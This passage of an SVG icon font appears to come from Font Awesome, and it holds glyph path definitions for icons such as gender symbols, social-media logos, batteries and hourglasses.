t188 182t249 80.5q155 12 292 -52.5t224 -186t103 -271.5h132v224q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-224h294l-185 185q-10 9 -10 22.5t10 22.5l45 45q9 10 22.5 10t22.5 -10zM576 128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5
t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_521" unicode="&#xf22c;" horiz-adv-x="1280" 
d="M1152 960q0 -221 -147.5 -384.5t-364.5 -187.5v-612q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v612q-217 24 -364.5 187.5t-147.5 384.5q0 117 45.5 223.5t123 184t184 123t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5zM576 512q185 0 316.5 131.5
t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="_522" unicode="&#xf22d;" horiz-adv-x="1280" 
d="M1024 576q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1152 576q0 -117 -45.5 -223.5t-123 -184t-184 -123t-223.5 -45.5t-223.5 45.5t-184 123t-123 184t-45.5 223.5t45.5 223.5t123 184t184 123
t223.5 45.5t223.5 -45.5t184 -123t123 -184t45.5 -223.5z" />
    <glyph glyph-name="_523" unicode="&#xf22e;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="_524" unicode="&#xf22f;" horiz-adv-x="1792" 
 />
    <glyph glyph-name="_525" unicode="&#xf230;" 
d="M1451 1408q35 0 60 -25t25 -60v-1366q0 -35 -25 -60t-60 -25h-391v595h199l30 232h-229v148q0 56 23.5 84t91.5 28l122 1v207q-63 9 -178 9q-136 0 -217.5 -80t-81.5 -226v-171h-200v-232h200v-595h-735q-35 0 -60 25t-25 60v1366q0 35 25 60t60 25h1366z" />
    <glyph glyph-name="_526" unicode="&#xf231;" horiz-adv-x="1280" 
d="M0 939q0 108 37.5 203.5t103.5 166.5t152 123t185 78t202 26q158 0 294 -66.5t221 -193.5t85 -287q0 -96 -19 -188t-60 -177t-100 -149.5t-145 -103t-189 -38.5q-68 0 -135 32t-96 88q-10 -39 -28 -112.5t-23.5 -95t-20.5 -71t-26 -71t-32 -62.5t-46 -77.5t-62 -86.5
l-14 -5l-9 10q-15 157 -15 188q0 92 21.5 206.5t66.5 287.5t52 203q-32 65 -32 169q0 83 52 156t132 73q61 0 95 -40.5t34 -102.5q0 -66 -44 -191t-44 -187q0 -63 45 -104.5t109 -41.5q55 0 102 25t78.5 68t56 95t38 110.5t20 111t6.5 99.5q0 173 -109.5 269.5t-285.5 96.5
q-200 0 -334 -129.5t-134 -328.5q0 -44 12.5 -85t27 -65t27 -45.5t12.5 -30.5q0 -28 -15 -73t-37 -45q-2 0 -17 3q-51 15 -90.5 56t-61 94.5t-32.5 108t-11 106.5z" />
    <glyph glyph-name="_527" unicode="&#xf232;" 
d="M985 562q13 0 97.5 -44t89.5 -53q2 -5 2 -15q0 -33 -17 -76q-16 -39 -71 -65.5t-102 -26.5q-57 0 -190 62q-98 45 -170 118t-148 185q-72 107 -71 194v8q3 91 74 158q24 22 52 22q6 0 18 -1.5t19 -1.5q19 0 26.5 -6.5t15.5 -27.5q8 -20 33 -88t25 -75q0 -21 -34.5 -57.5
t-34.5 -46.5q0 -7 5 -15q34 -73 102 -137q56 -53 151 -101q12 -7 22 -7q15 0 54 48.5t52 48.5zM782 32q127 0 243.5 50t200.5 134t134 200.5t50 243.5t-50 243.5t-134 200.5t-200.5 134t-243.5 50t-243.5 -50t-200.5 -134t-134 -200.5t-50 -243.5q0 -203 120 -368l-79 -233
l242 77q158 -104 345 -104zM782 1414q153 0 292.5 -60t240.5 -161t161 -240.5t60 -292.5t-60 -292.5t-161 -240.5t-240.5 -161t-292.5 -60q-195 0 -365 94l-417 -134l136 405q-108 178 -108 389q0 153 60 292.5t161 240.5t240.5 161t292.5 60z" />
    <glyph glyph-name="_528" unicode="&#xf233;" horiz-adv-x="1792" 
d="M128 128h1024v128h-1024v-128zM128 640h1024v128h-1024v-128zM1696 192q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM128 1152h1024v128h-1024v-128zM1696 704q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1696 1216
q0 40 -28 68t-68 28t-68 -28t-28 -68t28 -68t68 -28t68 28t28 68zM1792 384v-384h-1792v384h1792zM1792 896v-384h-1792v384h1792zM1792 1408v-384h-1792v384h1792z" />
    <glyph glyph-name="_529" unicode="&#xf234;" horiz-adv-x="2048" 
d="M704 640q-159 0 -271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5t-112.5 -271.5t-271.5 -112.5zM1664 512h352q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-352v-352q0 -13 -9.5 -22.5t-22.5 -9.5h-192q-13 0 -22.5 9.5
t-9.5 22.5v352h-352q-13 0 -22.5 9.5t-9.5 22.5v192q0 13 9.5 22.5t22.5 9.5h352v352q0 13 9.5 22.5t22.5 9.5h192q13 0 22.5 -9.5t9.5 -22.5v-352zM928 288q0 -52 38 -90t90 -38h256v-238q-68 -50 -171 -50h-874q-121 0 -194 69t-73 190q0 53 3.5 103.5t14 109t26.5 108.5
t43 97.5t62 81t85.5 53.5t111.5 20q19 0 39 -17q79 -61 154.5 -91.5t164.5 -30.5t164.5 30.5t154.5 91.5q20 17 39 17q132 0 217 -96h-223q-52 0 -90 -38t-38 -90v-192z" />
    <glyph glyph-name="_530" unicode="&#xf235;" horiz-adv-x="2048" 
d="M704 640q-159 0 -271.5 112.5t-112.5 271.5t112.5 271.5t271.5 112.5t271.5 -112.5t112.5 -271.5t-112.5 -271.5t-271.5 -112.5zM1781 320l249 -249q9 -9 9 -23q0 -13 -9 -22l-136 -136q-9 -9 -22 -9q-14 0 -23 9l-249 249l-249 -249q-9 -9 -23 -9q-13 0 -22 9l-136 136
q-9 9 -9 22q0 14 9 23l249 249l-249 249q-9 9 -9 23q0 13 9 22l136 136q9 9 22 9q14 0 23 -9l249 -249l249 249q9 9 23 9q13 0 22 -9l136 -136q9 -9 9 -22q0 -14 -9 -23zM1283 320l-181 -181q-37 -37 -37 -91q0 -53 37 -90l83 -83q-21 -3 -44 -3h-874q-121 0 -194 69
t-73 190q0 53 3.5 103.5t14 109t26.5 108.5t43 97.5t62 81t85.5 53.5t111.5 20q19 0 39 -17q154 -122 319 -122t319 122q20 17 39 17q28 0 57 -6q-28 -27 -41 -50t-13 -56q0 -54 37 -91z" />
    <glyph glyph-name="_531" unicode="&#xf236;" horiz-adv-x="2048" 
d="M256 512h1728q26 0 45 -19t19 -45v-448h-256v256h-1536v-256h-256v1216q0 26 19 45t45 19h128q26 0 45 -19t19 -45v-704zM832 832q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM2048 576v64q0 159 -112.5 271.5t-271.5 112.5h-704
q-26 0 -45 -19t-19 -45v-384h1152z" />
    <glyph glyph-name="_532" unicode="&#xf237;" 
d="M1536 1536l-192 -448h192v-192h-274l-55 -128h329v-192h-411l-357 -832l-357 832h-411v192h329l-55 128h-274v192h192l-192 448h256l323 -768h378l323 768h256zM768 320l108 256h-216z" />
    <glyph glyph-name="_533" unicode="&#xf238;" 
d="M1088 1536q185 0 316.5 -93.5t131.5 -226.5v-896q0 -130 -125.5 -222t-305.5 -97l213 -202q16 -15 8 -35t-30 -20h-1056q-22 0 -30 20t8 35l213 202q-180 5 -305.5 97t-125.5 222v896q0 133 131.5 226.5t316.5 93.5h640zM768 192q80 0 136 56t56 136t-56 136t-136 56
t-136 -56t-56 -136t56 -136t136 -56zM1344 768v512h-1152v-512h1152z" />
    <glyph glyph-name="_534" unicode="&#xf239;" 
d="M1088 1536q185 0 316.5 -93.5t131.5 -226.5v-896q0 -130 -125.5 -222t-305.5 -97l213 -202q16 -15 8 -35t-30 -20h-1056q-22 0 -30 20t8 35l213 202q-180 5 -305.5 97t-125.5 222v896q0 133 131.5 226.5t316.5 93.5h640zM288 224q66 0 113 47t47 113t-47 113t-113 47
t-113 -47t-47 -113t47 -113t113 -47zM704 768v512h-544v-512h544zM1248 224q66 0 113 47t47 113t-47 113t-113 47t-113 -47t-47 -113t47 -113t113 -47zM1408 768v512h-576v-512h576z" />
    <glyph glyph-name="_535" unicode="&#xf23a;" horiz-adv-x="1792" 
d="M597 1115v-1173q0 -25 -12.5 -42.5t-36.5 -17.5q-17 0 -33 8l-465 233q-21 10 -35.5 33.5t-14.5 46.5v1140q0 20 10 34t29 14q14 0 44 -15l511 -256q3 -3 3 -5zM661 1014l534 -866l-534 266v600zM1792 996v-1054q0 -25 -14 -40.5t-38 -15.5t-47 13l-441 220zM1789 1116
q0 -3 -256.5 -419.5t-300.5 -487.5l-390 634l324 527q17 28 52 28q14 0 26 -6l541 -270q4 -2 4 -6z" />
    <glyph glyph-name="_536" unicode="&#xf23b;" 
d="M809 532l266 499h-112l-157 -312q-24 -48 -44 -92l-42 92l-155 312h-120l263 -493v-324h101v318zM1536 1408v-1536h-1536v1536h1536z" />
    <glyph glyph-name="_537" unicode="&#xf23c;" horiz-adv-x="2296" 
d="M478 -139q-8 -16 -27 -34.5t-37 -25.5q-25 -9 -51.5 3.5t-28.5 31.5q-1 22 40 55t68 38q23 4 34 -21.5t2 -46.5zM1819 -139q7 -16 26 -34.5t38 -25.5q25 -9 51.5 3.5t27.5 31.5q2 22 -39.5 55t-68.5 38q-22 4 -33 -21.5t-2 -46.5zM1867 -30q13 -27 56.5 -59.5t77.5 -41.5
q45 -13 82 4.5t37 50.5q0 46 -67.5 100.5t-115.5 59.5q-40 5 -63.5 -37.5t-6.5 -76.5zM428 -30q-13 -27 -56 -59.5t-77 -41.5q-45 -13 -82 4.5t-37 50.5q0 46 67.5 100.5t115.5 59.5q40 5 63 -37.5t6 -76.5zM1158 1094h1q-41 0 -76 -15q27 -8 44 -30.5t17 -49.5
q0 -35 -27 -60t-65 -25q-52 0 -80 43q-5 -23 -5 -42q0 -74 56 -126.5t135 -52.5q80 0 136 52.5t56 126.5t-56 126.5t-136 52.5zM1462 1312q-99 109 -220.5 131.5t-245.5 -44.5q27 60 82.5 96.5t118 39.5t121.5 -17t99.5 -74.5t44.5 -131.5zM2212 73q8 -11 -11 -42
q7 -23 7 -40q1 -56 -44.5 -112.5t-109.5 -91.5t-118 -37q-48 -2 -92 21.5t-66 65.5q-687 -25 -1259 0q-23 -41 -66.5 -65t-92.5 -22q-86 3 -179.5 80.5t-92.5 160.5q2 22 7 40q-19 31 -11 42q6 10 31 1q14 22 41 51q-7 29 2 38q11 10 39 -4q29 20 59 34q0 29 13 37
q23 12 51 -16q35 5 61 -2q18 -4 38 -19v73q-11 0 -18 2q-53 10 -97 44.5t-55 87.5q-9 38 0 81q15 62 93 95q2 17 19 35.5t36 23.5t33 -7.5t19 -30.5h13q46 -5 60 -23q3 -3 5 -7q10 1 30.5 3.5t30.5 3.5q-15 11 -30 17q-23 40 -91 43q0 6 1 10q-62 2 -118.5 18.5t-84.5 47.5
q-32 36 -42.5 92t-2.5 112q16 126 90 179q23 16 52 4.5t32 -40.5q0 -1 1.5 -14t2.5 -21t3 -20t5.5 -19t8.5 -10q27 -14 76 -12q48 46 98 74q-40 4 -162 -14l47 46q61 58 163 111q145 73 282 86q-20 8 -41 15.5t-47 14t-42.5 10.5t-47.5 11t-43 10q595 126 904 -139
q98 -84 158 -222q85 -10 121 9h1q5 3 8.5 10t5.5 19t3 19.5t3 21.5l1 14q3 28 32 40t52 -5q73 -52 91 -178q7 -57 -3.5 -113t-42.5 -91q-28 -32 -83.5 -48.5t-115.5 -18.5v-10q-71 -2 -95 -43q-14 -5 -31 -17q11 -1 32 -3.5t30 -3.5q1 5 5 8q16 18 60 23h13q5 18 19 30t33 8
t36 -23t19 -36q79 -32 93 -95q9 -40 1 -81q-12 -53 -56 -88t-97 -44q-10 -2 -17 -2q0 -49 -1 -73q20 15 38 19q26 7 61 2q28 28 51 16q14 -9 14 -37q33 -16 59 -34q27 13 38 4q10 -10 2 -38q28 -30 41 -51q23 8 31 -1zM1937 1025q0 -29 -9 -54q82 -32 112 -132
q4 37 -9.5 98.5t-41.5 90.5q-20 19 -36 17t-16 -20zM1859 925q35 -42 47.5 -108.5t-0.5 -124.5q67 13 97 45q13 14 18 28q-3 64 -31 114.5t-79 66.5q-15 -15 -52 -21zM1822 921q-30 0 -44 1q42 -115 53 -239q21 0 43 3q16 68 1 135t-53 100zM258 839q30 100 112 132
q-9 25 -9 54q0 18 -16.5 20t-35.5 -17q-28 -29 -41.5 -90.5t-9.5 -98.5zM294 737q29 -31 97 -45q-13 58 -0.5 124.5t47.5 108.5v0q-37 6 -52 21q-51 -16 -78.5 -66t-31.5 -115q9 -17 18 -28zM471 683q14 124 73 235q-19 -4 -55 -18l-45 -19v1q-46 -89 -20 -196q25 -3 47 -3z
M1434 644q8 -38 16.5 -108.5t11.5 -89.5q3 -18 9.5 -21.5t23.5 4.5q40 20 62 85.5t23 125.5q-24 2 -146 4zM1152 1285q-116 0 -199 -82.5t-83 -198.5q0 -117 83 -199.5t199 -82.5t199 82.5t83 199.5q0 116 -83 198.5t-199 82.5zM1380 646q-105 2 -211 0v1q-1 -27 2.5 -86
t13.5 -66q29 -14 93.5 -14.5t95.5 10.5q9 3 11 39t-0.5 69.5t-4.5 46.5zM1112 447q8 4 9.5 48t-0.5 88t-4 63v1q-212 -3 -214 -3q-4 -20 -7 -62t0 -83t14 -46q34 -15 101 -16t101 10zM718 636q-16 -59 4.5 -118.5t77.5 -84.5q15 -8 24 -5t12 21q3 16 8 90t10 103
q-69 -2 -136 -6zM591 510q3 -23 -34 -36q132 -141 271.5 -240t305.5 -154q172 49 310.5 146t293.5 250q-33 13 -30 34q0 2 0.5 3.5t1.5 3t1 2.5v1v-1q-17 2 -50 5.5t-48 4.5q-26 -90 -82 -132q-51 -38 -82 1q-5 6 -9 14q-7 13 -17 62q-2 -5 -5 -9t-7.5 -7t-8 -5.5t-9.5 -4
l-10 -2.5t-12 -2l-12 -1.5t-13.5 -1t-13.5 -0.5q-106 -9 -163 11q-4 -17 -10 -26.5t-21 -15t-23 -7t-36 -3.5q-6 -1 -9 -1q-179 -17 -203 40q-2 -63 -56 -54q-47 8 -91 54q-12 13 -20 26q-17 29 -26 65q-58 -6 -87 -10q1 -2 4 -10zM507 -118q3 14 3 30q-17 71 -51 130
t-73 70q-41 12 -101.5 -14.5t-104.5 -80t-39 -107.5q35 -53 100 -93t119 -42q51 -2 94 28t53 79zM510 53q23 -63 27 -119q195 113 392 174q-98 52 -180.5 120t-179.5 165q-6 -4 -29 -13q0 -1 -1 -4t-1 -5q31 -18 22 -37q-12 -23 -56 -34q-10 -13 -29 -24h-1q-2 -83 1 -150
q19 -34 35 -73zM579 -113q532 -21 1145 0q-254 147 -428 196q-76 -35 -156 -57q-8 -3 -16 0q-65 21 -129 49q-208 -60 -416 -188h-1v-1q1 0 1 1zM1763 -67q4 54 28 120q14 38 33 71l-1 -1q3 77 3 153q-15 8 -30 25q-42 9 -56 33q-9 20 22 38q-2 4 -2 9q-16 4 -28 12
q-204 -190 -383 -284q198 -59 414 -176zM2155 -90q5 54 -39 107.5t-104 80t-102 14.5q-38 -11 -72.5 -70.5t-51.5 -129.5q0 -16 3 -30q10 -49 53 -79t94 -28q54 2 119 42t100 93z" />
    <glyph glyph-name="_538" unicode="&#xf23d;" horiz-adv-x="2304" 
d="M1524 -25q0 -68 -48 -116t-116 -48t-116.5 48t-48.5 116t48.5 116.5t116.5 48.5t116 -48.5t48 -116.5zM775 -25q0 -68 -48.5 -116t-116.5 -48t-116 48t-48 116t48 116.5t116 48.5t116.5 -48.5t48.5 -116.5zM0 1469q57 -60 110.5 -104.5t121 -82t136 -63t166 -45.5
t200 -31.5t250 -18.5t304 -9.5t372.5 -2.5q139 0 244.5 -5t181 -16.5t124 -27.5t71 -39.5t24 -51.5t-19.5 -64t-56.5 -76.5t-89.5 -91t-116 -104.5t-139 -119q-185 -157 -286 -247q29 51 76.5 109t94 105.5t94.5 98.5t83 91.5t54 80.5t13 70t-45.5 55.5t-116.5 41t-204 23.5
t-304 5q-168 -2 -314 6t-256 23t-204.5 41t-159.5 51.5t-122.5 62.5t-91.5 66.5t-68 71.5t-50.5 69.5t-40 68t-36.5 59.5z" />
    <glyph glyph-name="_539" unicode="&#xf23e;" horiz-adv-x="1792" 
d="M896 1472q-169 0 -323 -66t-265.5 -177.5t-177.5 -265.5t-66 -323t66 -323t177.5 -265.5t265.5 -177.5t323 -66t323 66t265.5 177.5t177.5 265.5t66 323t-66 323t-177.5 265.5t-265.5 177.5t-323 66zM896 1536q182 0 348 -71t286 -191t191 -286t71 -348t-71 -348
t-191 -286t-286 -191t-348 -71t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71zM496 704q16 0 16 -16v-480q0 -16 -16 -16h-32q-16 0 -16 16v480q0 16 16 16h32zM896 640q53 0 90.5 -37.5t37.5 -90.5q0 -35 -17.5 -64t-46.5 -46v-114q0 -14 -9 -23
t-23 -9h-64q-14 0 -23 9t-9 23v114q-29 17 -46.5 46t-17.5 64q0 53 37.5 90.5t90.5 37.5zM896 1408q209 0 385.5 -103t279.5 -279.5t103 -385.5t-103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103zM544 928v-96
q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v96q0 93 65.5 158.5t158.5 65.5t158.5 -65.5t65.5 -158.5v-96q0 -14 9 -23t23 -9h64q14 0 23 9t9 23v96q0 146 -103 249t-249 103t-249 -103t-103 -249zM1408 192v512q0 26 -19 45t-45 19h-896q-26 0 -45 -19t-19 -45v-512
q0 -26 19 -45t45 -19h896q26 0 45 19t19 45z" />
    <glyph glyph-name="_540" unicode="&#xf240;" horiz-adv-x="2304" 
d="M1920 1024v-768h-1664v768h1664zM2048 448h128v384h-128v288q0 14 -9 23t-23 9h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288zM2304 832v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113
v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160q53 0 90.5 -37.5t37.5 -90.5z" />
    <glyph glyph-name="_541" unicode="&#xf241;" horiz-adv-x="2304" 
d="M256 256v768h1280v-768h-1280zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_542" unicode="&#xf242;" horiz-adv-x="2304" 
d="M256 256v768h896v-768h-896zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_543" unicode="&#xf243;" horiz-adv-x="2304" 
d="M256 256v768h512v-768h-512zM2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9
h-1856q-14 0 -23 -9t-9 -23v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_544" unicode="&#xf244;" horiz-adv-x="2304" 
d="M2176 960q53 0 90.5 -37.5t37.5 -90.5v-384q0 -53 -37.5 -90.5t-90.5 -37.5v-160q0 -66 -47 -113t-113 -47h-1856q-66 0 -113 47t-47 113v960q0 66 47 113t113 47h1856q66 0 113 -47t47 -113v-160zM2176 448v384h-128v288q0 14 -9 23t-23 9h-1856q-14 0 -23 -9t-9 -23
v-960q0 -14 9 -23t23 -9h1856q14 0 23 9t9 23v288h128z" />
    <glyph glyph-name="_545" unicode="&#xf245;" horiz-adv-x="1280" 
d="M1133 493q31 -30 14 -69q-17 -40 -59 -40h-382l201 -476q10 -25 0 -49t-34 -35l-177 -75q-25 -10 -49 0t-35 34l-191 452l-312 -312q-19 -19 -45 -19q-12 0 -24 5q-40 17 -40 59v1504q0 42 40 59q12 5 24 5q27 0 45 -19z" />
    <glyph glyph-name="_546" unicode="&#xf246;" horiz-adv-x="1024" 
d="M832 1408q-320 0 -320 -224v-416h128v-128h-128v-544q0 -224 320 -224h64v-128h-64q-272 0 -384 146q-112 -146 -384 -146h-64v128h64q320 0 320 224v544h-128v128h128v416q0 224 -320 224h-64v128h64q272 0 384 -146q112 146 384 146h64v-128h-64z" />
    <glyph glyph-name="_547" unicode="&#xf247;" horiz-adv-x="2048" 
d="M2048 1152h-128v-1024h128v-384h-384v128h-1280v-128h-384v384h128v1024h-128v384h384v-128h1280v128h384v-384zM1792 1408v-128h128v128h-128zM128 1408v-128h128v128h-128zM256 -128v128h-128v-128h128zM1664 0v128h128v1024h-128v128h-1280v-128h-128v-1024h128v-128
h1280zM1920 -128v128h-128v-128h128zM1280 896h384v-768h-896v256h-384v768h896v-256zM512 512h640v512h-640v-512zM1536 256v512h-256v-384h-384v-128h640z" />
    <glyph glyph-name="_548" unicode="&#xf248;" horiz-adv-x="2304" 
d="M2304 768h-128v-640h128v-384h-384v128h-896v-128h-384v384h128v128h-384v-128h-384v384h128v640h-128v384h384v-128h896v128h384v-384h-128v-128h384v128h384v-384zM2048 1024v-128h128v128h-128zM1408 1408v-128h128v128h-128zM128 1408v-128h128v128h-128zM256 256
v128h-128v-128h128zM1536 384h-128v-128h128v128zM384 384h896v128h128v640h-128v128h-896v-128h-128v-640h128v-128zM896 -128v128h-128v-128h128zM2176 -128v128h-128v-128h128zM2048 128v640h-128v128h-384v-384h128v-384h-384v128h-384v-128h128v-128h896v128h128z" />
    <glyph glyph-name="_549" unicode="&#xf249;" 
d="M1024 288v-416h-928q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1344q40 0 68 -28t28 -68v-928h-416q-40 0 -68 -28t-28 -68zM1152 256h381q-15 -82 -65 -132l-184 -184q-50 -50 -132 -65v381z" />
    <glyph glyph-name="_550" unicode="&#xf24a;" 
d="M1400 256h-248v-248q29 10 41 22l185 185q12 12 22 41zM1120 384h288v896h-1280v-1280h896v288q0 40 28 68t68 28zM1536 1312v-1024q0 -40 -20 -88t-48 -76l-184 -184q-28 -28 -76 -48t-88 -20h-1024q-40 0 -68 28t-28 68v1344q0 40 28 68t68 28h1344q40 0 68 -28t28 -68
z" />
    <glyph glyph-name="_551" unicode="&#xf24b;" horiz-adv-x="2304" 
d="M1951 538q0 -26 -15.5 -44.5t-38.5 -23.5q-8 -2 -18 -2h-153v140h153q10 0 18 -2q23 -5 38.5 -23.5t15.5 -44.5zM1933 751q0 -25 -15 -42t-38 -21q-3 -1 -15 -1h-139v129h139q3 0 8.5 -0.5t6.5 -0.5q23 -4 38 -21.5t15 -42.5zM728 587v308h-228v-308q0 -58 -38 -94.5
t-105 -36.5q-108 0 -229 59v-112q53 -15 121 -23t109 -9l42 -1q328 0 328 217zM1442 403v113q-99 -52 -200 -59q-108 -8 -169 41t-61 142t61 142t169 41q101 -7 200 -58v112q-48 12 -100 19.5t-80 9.5l-28 2q-127 6 -218.5 -14t-140.5 -60t-71 -88t-22 -106t22 -106t71 -88
t140.5 -60t218.5 -14q101 4 208 31zM2176 518q0 54 -43 88.5t-109 39.5v3q57 8 89 41.5t32 79.5q0 55 -41 88t-107 36q-3 0 -12 0.5t-14 0.5h-455v-510h491q74 0 121.5 36.5t47.5 96.5zM2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90
t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_552" unicode="&#xf24c;" horiz-adv-x="2304" 
d="M858 295v693q-106 -41 -172 -135.5t-66 -211.5t66 -211.5t172 -134.5zM1362 641q0 117 -66 211.5t-172 135.5v-694q106 41 172 135.5t66 211.5zM1577 641q0 -159 -78.5 -294t-213.5 -213.5t-294 -78.5q-119 0 -227.5 46.5t-187 125t-125 187t-46.5 227.5q0 159 78.5 294
t213.5 213.5t294 78.5t294 -78.5t213.5 -213.5t78.5 -294zM1960 634q0 139 -55.5 261.5t-147.5 205.5t-213.5 131t-252.5 48h-301q-176 0 -323.5 -81t-235 -230t-87.5 -335q0 -171 87 -317.5t236 -231.5t323 -85h301q129 0 251.5 50.5t214.5 135t147.5 202.5t55.5 246z
M2304 1280v-1280q0 -52 -38 -90t-90 -38h-2048q-52 0 -90 38t-38 90v1280q0 52 38 90t90 38h2048q52 0 90 -38t38 -90z" />
    <glyph glyph-name="_553" unicode="&#xf24d;" horiz-adv-x="1792" 
d="M1664 -96v1088q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5v-1088q0 -13 9.5 -22.5t22.5 -9.5h1088q13 0 22.5 9.5t9.5 22.5zM1792 992v-1088q0 -66 -47 -113t-113 -47h-1088q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1088q66 0 113 -47t47 -113
zM1408 1376v-160h-128v160q0 13 -9.5 22.5t-22.5 9.5h-1088q-13 0 -22.5 -9.5t-9.5 -22.5v-1088q0 -13 9.5 -22.5t22.5 -9.5h160v-128h-160q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1088q66 0 113 -47t47 -113z" />
    <glyph glyph-name="_554" unicode="&#xf24e;" horiz-adv-x="2304" 
d="M1728 1088l-384 -704h768zM448 1088l-384 -704h768zM1269 1280q-14 -40 -45.5 -71.5t-71.5 -45.5v-1291h608q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1344q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h608v1291q-40 14 -71.5 45.5t-45.5 71.5h-491q-14 0 -23 9t-9 23v64
q0 14 9 23t23 9h491q21 57 70 92.5t111 35.5t111 -35.5t70 -92.5h491q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-491zM1088 1264q33 0 56.5 23.5t23.5 56.5t-23.5 56.5t-56.5 23.5t-56.5 -23.5t-23.5 -56.5t23.5 -56.5t56.5 -23.5zM2176 384q0 -73 -46.5 -131t-117.5 -91
t-144.5 -49.5t-139.5 -16.5t-139.5 16.5t-144.5 49.5t-117.5 91t-46.5 131q0 11 35 81t92 174.5t107 195.5t102 184t56 100q18 33 56 33t56 -33q4 -7 56 -100t102 -184t107 -195.5t92 -174.5t35 -81zM896 384q0 -73 -46.5 -131t-117.5 -91t-144.5 -49.5t-139.5 -16.5
t-139.5 16.5t-144.5 49.5t-117.5 91t-46.5 131q0 11 35 81t92 174.5t107 195.5t102 184t56 100q18 33 56 33t56 -33q4 -7 56 -100t102 -184t107 -195.5t92 -174.5t35 -81z" />
    <glyph glyph-name="_555" unicode="&#xf250;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM874 700q77 29 149 92.5t129.5 152.5t92.5 210t35 253h-1024q0 -132 35 -253t92.5 -210t129.5 -152.5t149 -92.5q19 -7 30.5 -23.5t11.5 -36.5t-11.5 -36.5t-30.5 -23.5q-77 -29 -149 -92.5
t-129.5 -152.5t-92.5 -210t-35 -253h1024q0 132 -35 253t-92.5 210t-129.5 152.5t-149 92.5q-19 7 -30.5 23.5t-11.5 36.5t11.5 36.5t30.5 23.5z" />
    <glyph glyph-name="_556" unicode="&#xf251;" 
d="M1408 1408q0 -261 -106.5 -461.5t-266.5 -306.5q160 -106 266.5 -306.5t106.5 -461.5h96q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-1472q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h96q0 261 106.5 461.5t266.5 306.5q-160 106 -266.5 306.5t-106.5 461.5h-96q-14 0 -23 9
t-9 23v64q0 14 9 23t23 9h1472q14 0 23 -9t9 -23v-64q0 -14 -9 -23t-23 -9h-96zM1280 1408h-1024q0 -66 9 -128h1006q9 61 9 128zM1280 -128q0 130 -34 249.5t-90.5 208t-126.5 152t-146 94.5h-230q-76 -31 -146 -94.5t-126.5 -152t-90.5 -208t-34 -249.5h1024z" />
    <glyph glyph-name="_557" unicode="&#xf252;" 
